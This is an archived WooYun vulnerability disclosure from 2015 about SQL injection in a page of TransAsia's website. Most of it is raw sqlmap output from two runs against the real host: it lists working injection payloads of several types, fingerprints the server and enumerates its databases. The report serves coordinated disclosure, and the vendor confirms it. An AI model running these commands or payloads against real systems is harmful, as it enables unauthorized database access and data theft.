乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-02-12: 细节已通知厂商并且等待厂商处理中 2015-02-16: 厂商已经确认,细节仅向厂商公开 2015-02-26: 细节向核心白帽子及相关领域专家公开 2015-03-08: 细节向普通白帽子公开 2015-03-18: 细节向实习白帽子公开 2015-03-29: 细节向公众公开
RT 飞机飞机。。。
[root@Hacker~]# Sqlmap Sqlmap -u "http://sc.tna.com.tw/about/8_5_3.aspx?id=234" --current-db sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local[*] starting at 02:40:12[02:40:12] [INFO] resuming back-end DBMS 'microsoft sql server'[02:40:12] [INFO] testing connection to the target URLsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=234 AND 3908=3908 Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: id=234 AND 8668=CONVERT(INT,(SELECT CHAR(113)+CHAR(115)+CHAR(98)+CHAR(108)+CHAR(113)+(SELECT (CASE WHEN (8668=8668) THEN CHAR(49) ELSE CHAR(48) END))+CH Type: UNION query Title: Generic UNION query (NULL) - 9 columns Payload: id=234 UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(115)+CHAR(98)+CHAR(108)+CHAR(113)+CHAR(98)+CHAR(121)+CHAR(73)+CHAR(84)+CHAR(98)+CHAR(101)+CHAR(82) Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: id=234; WAITFOR DELAY '0:0:5'-- Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query) Payload: id=-5522 OR 6388=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS Type: inline query Title: Microsoft SQL Server/Sybase inline queries Payload: id=(SELECT CHAR(113)+CHAR(115)+CHAR(98)+CHAR(108)+CHAR(113)+(SELECT (CASE WHEN (1988=1988) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(110)+CHAR(10---[02:40:14] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2003web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727back-end DBMS: Microsoft SQL Server 2008[02:40:14] [INFO] fetching current databasecurrent database: 'TransAsia'[02:40:14] [WARNING] HTTP error codes detected during run:500 (Internal Server Error) - 1 times[02:40:14] [WARNING] cannot properly display Unicode characters inside Windows OS command prompt (http://bugs.python.org/issue1602). All unhandled occurances will re[02:40:14] [INFO] fetched data logged to text files under 'C:\Users\ADMINI~1\Desktop\???~1\???~1\SQLMAP~1.4\Bin\output\sc.tna.com.tw'[*] shutting down at 02:40:14[root@Hacker~]# Sqlmap Sqlmap -u "http://sc.tna.com.tw/about/8_5_3.aspx?id=234" --dbs sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local[*] starting at 02:40:36[02:40:36] [INFO] resuming back-end DBMS 'microsoft sql server'[02:40:36] [INFO] testing connection to the target URLsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=234 AND 3908=3908 Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: id=234 AND 8668=CONVERT(INT,(SELECT CHAR(113)+CHAR(115)+CHAR(98)+CHAR(108)+CHAR(113)+(SELECT (CASE WHEN (8668=8668) THEN CHAR(49) ELSE CHAR(48) END))+CH Type: UNION query Title: Generic UNION query (NULL) - 9 columns Payload: id=234 UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(115)+CHAR(98)+CHAR(108)+CHAR(113)+CHAR(98)+CHAR(121)+CHAR(73)+CHAR(84)+CHAR(98)+CHAR(101)+CHAR(82) Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: id=234; WAITFOR DELAY '0:0:5'-- Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query) Payload: id=-5522 OR 6388=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS Type: inline query Title: Microsoft SQL Server/Sybase inline queries Payload: id=(SELECT CHAR(113)+CHAR(115)+CHAR(98)+CHAR(108)+CHAR(113)+(SELECT (CASE WHEN (1988=1988) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(110)+CHAR(10---[02:40:38] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2003web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727back-end DBMS: Microsoft SQL Server 2008[02:40:38] [INFO] fetching database names[02:40:38] [INFO] the SQL query used returns 10 entries[02:40:39] [INFO] retrieved: "ChkFiles"[02:40:40] [INFO] retrieved: "master"[02:40:40] [INFO] retrieved: "model"[02:40:41] [INFO] retrieved: "msdb"[02:40:41] [INFO] retrieved: "newtransasia_kr"[02:40:42] [INFO] retrieved: "newtransasia_kr"[02:40:42] [INFO] retrieved: "tempdb"[02:40:43] [INFO] retrieved: "TransAsia_en"[02:40:44] [INFO] retrieved: "TransAsia_en"[02:40:44] [INFO] retrieved: "TransAsia_jp"available databases [8]:[*] ChkFiles[*] master[*] model[*] msdb[*] newtransasia_kr[*] tempdb[*] TransAsia_en[*] TransAsia_jp[02:40:44] [WARNING] HTTP error codes detected during run:500 (Internal Server Error) - 11 times[02:40:44] [WARNING] cannot properly display Unicode characters inside Windows OS command prompt (http://bugs.python.org/issue1602). All unhandled occurances will re[02:40:44] [INFO] fetched data logged to text files under 'C:\Users\ADMINI~1\Desktop\???~1\???~1\SQLMAP~1.4\Bin\output\sc.tna.com.tw'
null 支持一下,求rank!
危害等级:高
漏洞Rank:15
确认时间:2015-02-16 20:12
謝謝通報
暂无